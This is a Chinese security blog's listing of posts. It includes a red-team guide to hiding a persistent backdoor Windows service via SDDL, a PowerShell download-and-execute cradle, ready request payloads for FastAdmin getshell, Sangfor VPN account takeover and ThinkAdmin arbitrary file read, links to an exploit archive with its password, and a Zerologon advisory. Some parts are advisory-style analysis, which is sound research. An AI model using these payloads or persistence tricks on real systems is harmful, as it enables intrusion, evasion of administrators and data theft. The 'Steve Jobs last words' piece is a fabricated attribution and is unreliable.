蓝队技巧:查找被隐藏的Windows服务项 渗透测试
在上篇,我们说过红队技巧:隐藏windows服务,今天抽空来更新下,如何查找这类隐藏的Windows服务项。 首先看下效果,使用powershell远程下载执行直接获得隐藏的Windows服务名称:

通过远程下载执行无文件落地查看隐藏Windows服务:
powershell -c "IEX (New-Object Net.WebClient).DownloadString('h...
emlog 6.0特别版的BUG些 emlog
声明:本文仅供爱好者折腾参阅,且由于我这是我很久之前的手记,如有遗漏,表意不明的请多包涵。
一点关于安装出现错误编号2002的可能办法:
第一个就是发文章标签打不上之数据库标签表 emlog_tag
从emlog5.3.1升级过来或者是自己瞎折腾后发现发文章标签打不上或者没了的多半是这个原因。
gid 的值 开头和结尾必须是 英文逗号 不然 问的标签 不能存入 且...
Nessus v8.9.1 系列的最新(20220407)插件更新方法说明 技术文章
之前写个一篇关于Nessus 8.9.1版本在windows上的激活无IP限制的方法文章:Nessus v8.9.1 系列Windows10上安装激活无IP限制版本 其中介绍了详细的安装过程,这里不做重复介绍,需要看的去自行查看,评论里面包含了大部分人的疑惑解答,不懂得可以先看看。
但是,后面还是有很多朋友在我的另一篇 关于Nessus的新插件包使用和AWVS最新版的使用方式 下面还...
红队技巧:隐藏windows服务 渗透测试
在后渗透测试中,我们拿到了目标机器的权限后,要想办法维持权限,保持持久,嗯,很重要,不管生活还是工作都需要持久!
利用windows服务来植入我们的后门也是一种常见的利用方式,但是往往一般植入的服务很容易被管理员在任务管理器看到。如果可以隐藏的话,就大大提高了我们的持久性,今天就介绍下一种利用powershell来进行隐藏windows服务的技巧,重启后也可以正常启动。
首先创建一个服务(需要系统管理员权限运行的CMD):
sc create mrxn binPath=C:/Users/mrxn.net/Desktop/mrxn.exe start=auto
如上图所示可以看到成功创建了一个名为 mrxn 的windows服务,实战过程可以加上一些描述,取一个迷惑性的名字等等操作迷惑对手。
然后以管理员权限打开一个 powershell 窗口,运行安全描述符定义语言(SDDL)命令来隐藏我们创建的 mrxn 服务:
& $env:SystemRoot\System32\sc.exe sdset mrxn "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
运行成功后,在我们的任务管理器里面就看不到创建的 mrxn 服务了(需要重启任务管理器或者你命令刷新)
如果你不想隐藏次windows服务了,运行以下安全描述符定义语言(SDDL)命令来取消隐藏即可:
& $env:SystemRoot\System32\sc.exe sdset mrxn "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
如上图所示,成功取消隐藏windows服务。
这种方法对于红队来说,还是有一定作用的,欢迎渗透大佬们实践评论。
详细的原理来自这里:https://www.sans.org/blog/red-team-tactics-hiding-windows-services/ 我只是实践者。
查找隐藏的Windows服务项:
蓝队技巧:查找被隐藏的Windows服务项
乔布斯弥留之际关于生命意义的最后遗言 杂七杂八
I reached the pinnacle of success in the business world. In others’ eyes, my life is an epitome of success.
我在商界的成功抵达顶峰,在别人的眼中,我是他们的榜样。
However, aside from work, I have little joy. In the end, wealth is only a fact of life that I am accustomed to.
但是除工作外,我并不觉得幸福,财富只是一个我习惯了的生活方式。
At this moment, lying on the sick bed and recalling my whole life, I realize that all the recognition and wealth that I took so much pride in, have paled and become meaningless in the face of impending death.
此时此刻躺在病床上回顾我的一生,我知道我曾引为自豪的公众认可的财富和面临即将到来的死亡时显得得苍白和毫无意义。
In the darkness, I look at the green lights from the life supporting machines and hear the humming mechanical sounds, I can feel the breath of god of death drawing closer …
此时此刻在黑暗中,我双眼看着维持生命的仪器发出的绿光的时候,两耳听见这些仪器发出的蜂鸣声的时候,我切身感受到了死亡之神一步步走进时发出的呼吸声音。。。。。。
Now I know, when we have accumulated sufficient wealth to last our lifetime, we should pursue other matters that are unrelated to wealth …
现在我明白了,在我们积累了足够的物质财富可以让我们享受一生的时候,我们还应该追求其它无关财富的东西。。。。。。
Should be something that is more important:
一些比财富更重要的东西:
Perhaps relationships, perhaps art, perhaps a dream from younger days
可以是亲情关系的东西,可以是艺术的东西,可以是你少年时的梦。
Non-stop pursuing of wealth will only turn a person into a twisted being, just like me.
无休止地物质财富只会把一个人变成一具扭曲的生命,就好比现在的我。
God gave us the senses to let us feel the love in everyone’s heart, not the illusions brought about by wealth.
上帝给了我们知觉,让我们可以感受每个人内心的那份爱,不是感受财富带来的幻觉。
The wealth I have won in my life I cannot bring with me. What I can bring is only the memories precipitated by love.
我一生换来的荣华富贵我是无法带走的。我唯一能带走的,就是爱沉淀下来的美好回忆。
That’s the true riches which will follow you, accompany you, giving you strength and light to go on.
这才是真正的富有:它随你身后,它伴你左右,它给你前行的力量和一束光亮。
Love can travel a thousand miles. Life has no limit. Go where you want to go. Reach the height you want to reach. It is all in your heart and in your hands.
爱能跨越千山万水,生命无止境。放飞身心,无限攀登。这一切就在你心里就在你手中。
What is the most expensive bed in the world?
这世界上最昂贵的床榻是什么?
Sick bed …
是病榻。。。。。
You can employ someone to drive the car for you, make money for you but you cannot have someone to bear the sickness for you.
你可以请司机为你开车,请人为你赚钱,但是你请不到人为你分担病痛。
Material things lost can be found. But there is one thing that can never be found when it is lost — Life.
荣华富贵失去可以复还来,但有一样东西一旦失去将永不复归:那就是生命
When a person goes into the operating room, he will realize that there is one book that he has yet to finish reading — Book of Healthy Life.
当人进到手术室时,他才会发现有一本书自己还没卒读,书名叫“健康生活之书”。
Whichever stage in life we are at right now, with time, we will face the day when the curtain comes down.
无论我们现在处于生活的哪个阶段,我们终有帷幕落下的那一天。
Treasure Love for your family, love for your spouse, love for your friends.
珍惜珍爱你的家庭,珍爱你的配偶,珍爱你的朋友。
Treat yourself well. Cherish others.
珍惜自己,珍惜他人。
进而,生活有四个真理:
1)不要教育孩子发财,而是教育他们快乐。当他们长大时,他们会知道事物的价值,而不仅仅是价格。
2)以食物为药,否则,你必须以药物为食。
3)爱你的人永远不会抛弃你,即使有100个理由放弃,她也会找到坚持的理由。
4)很少人知道,他出生时就被爱,死时也被爱着。在这两者之间,您必须对爱进行管理。
如果你只想走得快点,可以一个人走!但是,如果你想走得远一点,那就和朋友一起走吧!
世界上最好得医生:
1)阳光
2)休息
3)锻炼
4)健康饮食
5)信心与爱心
6)朋友
上面的道理来自一位海外的朋友,在最后的岁月,让我们共勉!
零组镜像打包下载 零组文章下载(截止到2020年3月的版本和2020年09月19日版本) 渗透测试
web安全
74cms
ActiveMQ
Adminer
Adobe ColdFusion
Apache
Apache Dubbo
Apache FusionAuth
Apache HTTPD
Apache Log4j
Apache SSI
Apereo CAS
AppWeb
Aria2
Cacti
CatfishCMS
Citrix NetScaler
CmsEasy
Cobub Razor
Computrols CBAS Web
Confluence
Coremail
Couchcms
CouchDB
Dedecms
Discuz
Django
Docker
Elasticsearch
Emlog
Eyoucms
FasterXML jackson
Fastjson
FCKeditor
Finecms
Flash
Fortinet FortiOS
GetSimple CMS
Gitbook
Gitlab
GoAhead
Hadoop
Harbor
Hashbrown CMS
ImageMagick
Imcat
IonizeCMS
Jboss
Jenkins
Jira
Joomal
JYmusic
kibana
Maccms
Mariadb
Memcache
MetInfo
Microsoft Exchange
Mintinstall
Mongo DB
MyBB
Mysql
Newbee-mall
Nexus
Niushop
Nostromo httpd
OKLite
OpenSNS
PageMyAdmin
PbootCMS
Php
Phpcms
phpmyadmin
PHPOK
Phpweb
PhpYun
Pluck cms
Pyspider
R&D Visions CMS
rConfig
Redis
Seacms
Semcms
Smarty
Spring Cloud Config Server
SQL Server
ThinkCMF
Thinkphp
Thinkphp shop
Tomcat
Ueditor
UsualToolcms
vBulletin
Weblogic
Webmin
WeCenter
Wordpress
X5music
Xfilesharing
YouDianCMS
Yunucms
Yunyecms
YXcms
YzmCMS
Zzcms
Zzzcms
微擎
有道云笔记
泛微oa
禅知
禅道
致远oa
通达oa
iot
360
Amazon Kindle Fire HD
Cisco
D-Link
Huawei
JCG
PHICOMM
Sapido
TP-Link
安全工具
Burpsuite
Cobalt Strike
Cobalt Strike 4.0
Sqlmap
Sqlmap proxy
Sqlmap tamper
Sqlmap+burpsuit辅助批量注入验证
子域名扫描
指纹
游览器插件
安全技术
Disable functions
Linux后门
sql
Windows取证
上传绕过
常用命令
内网渗透
内网穿透:
ABPTTS
Anydesk
ew
frp
lcx
nc
reGeorg
ssocks
teamviewer
内网渗透:
DBscanner
Windows常用程序密码读取工具
内网渗透之获取windows远程桌面(RDP)连接记录
利用windows api dump进程
金山毒霸
提权exp
linux
windows
零组镜像打包下载 零组文章下载:
汇总:https://cloud.189.cn/t/INN7byuQNnQz(访问码:4xny)
https://cloud.189.cn/t/ZV7F7fzIRfIf(访问码:c49j)
https://mega.nz/file/OcVHzY7C#wrVRXSsj8lo7_6_Qp7BbOqf-dAmvVfAm_-NMZaIJbc8
https://mega.nz/file/PZVnkShT#AZv2rRmU-_5M4Kp5m0zG2NMSNosqeoehiKjzGA_86ZA
https://cloud.189.cn/t/2qAfMjeUJNra(访问码:7bhr)
解压密码:mrxn.net
fastadmin(V1.0.0.20200506_beta)前台getshell(文件上传解析)漏洞分析 渗透测试
0x1.简介
FastAdmin是一款基于ThinkPHP和Bootstrap的极速后台开发框架。
补天平台介绍:近日,补天漏洞响应平台监测到互联网上出现Fastadmin文件上传漏洞,exp被公开。该漏洞源于网络系统或产品的代码开发过程中存在设计或实现不当的问题,可导致文件上传并解析为可执行文件。目前厂商已发布新版本修复此漏洞,补天漏洞响应平台建议受影响的客户将框架更新至安全版本。
影响版本:V1.0.0.20180911_beta~V1.0.0.20200506_beta
修复建议:
升级Fastadmin版本到V1.0.0.20200920_beta,详见官网链接:
https://www.fastadmin.net/download.html
0x2.漏洞详情
利用限制:需要开启会员中心功能,且登录会员中心。
/application/config.php 文件中:
//是否开启前台会员中心 'usercenter' => true,
漏洞分析
/application/index/User.php 文件
第58-67行:
public function _empty($name) { $data = Hook::listen("user_request_empty", $name); foreach ($data as $index => $datum) { $this->view->assign($datum); } return $this->view->fetch($name); }
user_request_empty 为开发者预留的钩子可以忽视不看,主要看 return $this->view->fetch($name);
此方法中的 $name 参数可控,并且将 $name 的值传入到了 fecth() 函数中。
fetch() 为thinkphp的解析模板函数,其返回模板文件渲染后的内容
fetch() 函数的关键内容如下:
public function fetch($template, $data = [], $config = []) { if ('' == pathinfo($template, PATHINFO_EXTENSION)) { // 获取模板文件名 $template = $this->parseTemplate($template); } // 模板不存在 抛出异常 if (!is_file($template)) { throw new TemplateNotFoundException('template not exists:' . $template, $template); } // 记录视图信息 App::$debug && Log::record('[ VIEW ] ' . $template . ' [ ' . var_export(array_keys($data), true) . ' ]', 'info'); $this->template->fetch($template, $data, $config); }
继续调用栈可以看下其实这个fetch()函数调用的是内置模板引擎的fetch方法, 这个方法实际上就是将要输出的页面内容赋值给一个变量,为了方便,thinkphp在对模板渲染的过程中,添加了php标签功能,使得其可以解析php代码。
总之一句话,这个漏洞其实就是由于对传入变量过滤不严导致的模板引擎注入漏洞,只要控制了传入模板的文件,就可以利用模板本身的渲染功能,实现包含漏洞getshell
另外需要注意的是,当验证传入的模板是否是文件时,使用的 is_file() 函数,这个函数在Linux下和windows下的判断会有所不同,具体如下:
1、在linux下利用 is_file() 来判断类似于 /****/../../../../etc/passwd 文件时,如果 **** 是不存在的目录,则会返回false,在windows下 ,这个目录存在与否,均返回true,如下图所示:
2、在linux下, is_file() 函数判可用于判断符号链接
3、在linux下, is_file 函数会受到权限的影响,当前用户权限不足或父目录没有设置+x权限时, is_file() 会返回false
4、windows系统里面 / 和 \ 都可以使用,但是在linux下只能使用 / 来分隔路径,因此这会导致 is_file() 在不同系统下的返回结果不一致
5、 is_file() 判断文件时,如果文件大小超过2^32时,会判断失败
0x3.漏洞验证
通过前文可知,这个漏洞的利用点在 _empty() 函数,需要注意的是,在官方文档中通常 _empty() 方法是用来判断一个方法是否存在,如果不存在,则进入该函数。而这里是开发者自定义的方法,因此直接传入 _empty 方法,调用name参数即可。
利用过程如下:
在前台的会员中心,个人资料处,上传修改头像:
抓包后修改图片数据(满足图片头格式即可):
记录下路径后,成功getshell
在Linux下,通过这种方法会失效,因为在 /public 路径下不存在 user 目录,由前文中的知识点可以知道,当不存在这个目录的时候,无论怎么跳转目录, is_file() 函数返回的结果始终未false,因此无法利用该漏洞,如下图所示:
当我们在 /public 目录下创建文件夹 /user ,在利用,即可成功:
文章出自:https://forum.90sec.com/t/topic/1294
作者:https://forum.90sec.com/u/panda
大家可以投稿90注册啊!给你们投票!哈哈哈
深信服VPN 修改任意账户绑定手机号 渗透测试
https://路径/por/changetelnum.csp?apiversion=1newtel=TARGET_PHONE&sessReq=clusterd&username=TARGET_USERNAME&grpid=0&sessid=0&ip=127.0.0.1
注意 需要登录之后才可以
ThinkAdmin v5和v6 未授权列目录/任意文件读取(CVE-2020-25540) 技术文章
首先声明:内容来自ThinkAdmin的GitHub的官方项目的issue 由 @Hzllaga 师傅提供.
0x1.漏洞简介
ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统。ThinkAdmin v6版本存在路径遍历漏洞。攻击者可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件。
0x2.影响范围
Thinkadmin ≤ 2020.08.03.01
0x3.漏洞分析复现
app/admin/controller/api/Update.php存在3个function,都是不用登录认证就可以使用的,引用列表如下:
namespace app\admin\controller\api;
use think\admin\Controller;
use think\admin\service\InstallService;
use think\admin\service\ModuleService;
version()可以获取到当前版本:2020.08.03.01,≤这个版本的都有可能存在漏洞
URL:http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/version
列目录
node():
/** * 读取文件列表 */ public function node() { $this->success('获取文件列表成功!', InstallService::instance()->getList( json_decode($this->request->post('rules', '[]', ''), true), json_decode($this->request->post('ignore', '[]', ''), true) )); }
直接把POST的rules和ignore参数传给InstallService::instance()->getList(),根据上面的use引用可以知道文件路径在vendor/zoujingli/think-library/src/service/InstallService.php:
/** * 获取文件信息列表 * @param array $rules 文件规则 * @param array $ignore 忽略规则 * @param array $data 扫描结果列表 * @return array */ public function getList(array $rules, array $ignore = [], array $data = []): array { // 扫描规则文件 foreach ($rules as $key => $rule) { $name = strtr(trim($rule, '\\/'), '\\', '/'); $data = array_merge($data, $this->_scanList($this->root . $name)); } // 清除忽略文件 foreach ($data as $key => $item) foreach ($ignore as $ign) { if (stripos($item['name'], $ign) === 0) unset($data[$key]); } // 返回文件数据 return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data]; }
$ignore可以不用关注,他会透过_scanList()去遍历$rules数组,调用scanDirectory()去递归遍历目录下的文件,最后在透过_getInfo()去获取文件名与哈希,由下面代码可以知道程序没有任何验证,攻击者可以在未授权的情况下读取服务器的文件列表。
/** * 获取目录文件列表 * @param string $path 待扫描目录 * @param array $data 扫描结果 * @return array */ private function _scanList($path, $data = []): array { foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) { $data[] = $this->_getInfo(strtr($file, '\\', '/')); } return $data; }
/** * 获取所有PHP文件列表 * @param string $path 扫描目录 * @param array $data 额外数据 * @param string $ext 文件后缀 * @return array */ public function scanDirectory($path, $data = [], $ext = 'php') { if (file_exists($path)) if (is_file($path)) $data[] = $path; elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') { $realpath = rtrim($path, '\\/') . DIRECTORY_SEPARATOR . $item; if (is_readable($realpath)) if (is_dir($realpath)) { $data = $this->scanDirectory($realpath, $data, $ext); } elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) { $data[] = strtr($realpath, '\\', '/'); } } return $data; }
/** * 获取指定文件信息 * @param string $path 文件路径 * @return array */ private function _getInfo($path): array { return [ 'name' => str_replace($this->root, '', $path), 'hash' => md5(preg_replace('/\s+/', '', file_get_contents($path))), ]; }
读取网站根目录Payload: http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/node
POST:
rules=["/"]
也可以使用../来进行目录穿越
rules=["../../../"]
演示站:
任意文件读取
get():
/** * 读取文件内容 */ public function get() { $filename = decode(input('encode', '0')); if (!ModuleService::instance()->checkAllowDownload($filename)) { $this->error('下载的文件不在认证规则中!'); } if (file_exists($realname = $this->app->getRootPath() . $filename)) { $this->success('读取文件内容成功!', [ 'content' => base64_encode(file_get_contents($realname)), ]); } else { $this->error('读取文件内容失败!'); } }
首先从GET读取encode参数并使用decode()解码:
/** * 解密 UTF8 字符串 * @param string $content * @return string */ function decode($content) { $chars = ''; foreach (str_split($content, 2) as $char) { $chars .= chr(intval(base_convert($char, 36, 10))); } return iconv('GBK//TRANSLIT', 'UTF-8', $chars); }
解密UTF8字符串的,刚好上面有个加密UTF8字符串的encode(),攻击时直接调用那个就可以了:
/** * 加密 UTF8 字符串 * @param string $content * @return string */ function encode($content) { [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))]; for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); return $chars; }
跟进ModuleService::instance()->checkAllowDownload(),文件路径vendor/zoujingli/think-library/src/service/ModuleService.php:
/** * 检查文件是否可下载 * @param string $name 文件名称 * @return boolean */ public function checkAllowDownload($name): bool { // 禁止下载数据库配置文件 if (stripos($name, 'database.php') !== false) { return false; } // 检查允许下载的文件规则 foreach ($this->getAllowDownloadRule() as $rule) { if (stripos($name, $rule) !== false) return true; } // 不在允许下载的文件规则 return false; }
首先$name不能够是database.php,接着跟进getAllowDownloadRule():
/** * 获取允许下载的规则 * @return array */ public function getAllowDownloadRule(): array { $data = $this->app->cache->get('moduleAllowRule', []); if (is_array($data) && count($data) > 0) return $data; $data = ['config', 'public/static', 'public/router.php', 'public/index.php']; foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}"; $this->app->cache->set('moduleAllowRule', $data, 30); return $data; }
有一个允许的列表:
config
public/static
public/router.php
public/index.php
app/admin
app/wechat
也就是说$name必须要不是database.php且要在允许列表内的文件才能够被读取,先绕过安全列表的限制,比如读取根目录的1.txt,只需要传入:
public/static/../../1.txt
而database.php的限制在Linux下应该是没办法绕过的,但是在Windows下可以透过"来替换.,也就是传入:
public/static/../../config/database"php
对应encode()后的结果为:
34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34
Windows读取database.php:
演示站读取/etc/passwd:
v5连允许列表都没有,可以直接读任意文件。
0x4.漏洞修复
临时方案:
升级到最新版!
来源:https://github.com/zoujingli/ThinkAdmin/issues/244
CVE-2020-1472: NetLogon特权提升漏洞(接管域控制器) 渗透测试
0x01 更新概览
2020年09月14日,360CERT监测发现 secura
公开了针对该漏洞研究报告及PoC
,可造成 权限提升影响
。本次更新标识该漏洞的利用工具公开,并可能在短时间内出现攻击态势。
具体更新详情可参考: 漏洞验证
0x02 漏洞简述
2020年08月12日, 360CERT监测发现 Windows官方
发布了 NetLogon 特权提升漏洞
的风险通告,该漏洞编号为 CVE-2020-1472
,漏洞等级:严重
,漏洞评分:10分
。
攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。
对此,360CERT建议广大用户及时为各Windows Server操作系统安装最新相关补丁。与此同时,请做好资产自查以及预防工作,以免遭受黑客攻击。
0x03 风险等级
360CERT对该漏洞的评定结果如下
评定方式 | 等级 |
---|---|
威胁等级 | 严重 |
影响面 | 广泛 |
360CERT评分 | 10分 |
0x04 漏洞详情
NetLogon组件
是 Windows 上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,同时还用于维护域成员与域之间、域与域控之间、域DC与跨域DC之间的关系。
当攻击者使用 Netlogon 远程协议 (MS-NRPC) 建立与域控制器连接的易受攻击的 Netlogon 安全通道时,存在特权提升漏洞。成功利用此漏洞的攻击者可以在网络中的设备上运行经特殊设计的应用程序。
漏洞验证
使用 SecuraBV/zerologon_tester.py
进行验证;可以看到在 windows server 2012
结果如下图所示
python版本: 3.8.5 域控版本: windows server 2008 测试机版本: windows server 2012
0x05 影响版本
- Windows Server 2008 R2 for x64-based Systems Service Pack 1
- Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
- Windows Server 2012
- Windows Server 2012 (Server Core installation)
- Windows Server 2012 R2
- Windows Server 2012 R2 (Server Core installation)
- Windows Server 2016
- Windows Server 2016 (Server Core installation)
- Windows Server 2019
- Windows Server 2019 (Server Core installation)
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)
- Windows Server, version 2004 (Server Core installation)
相关检测和利用工具地址:
https://github.com/SecuraBV/CVE-2020-1472
https://github.com/dirkjanm/CVE-2020-1472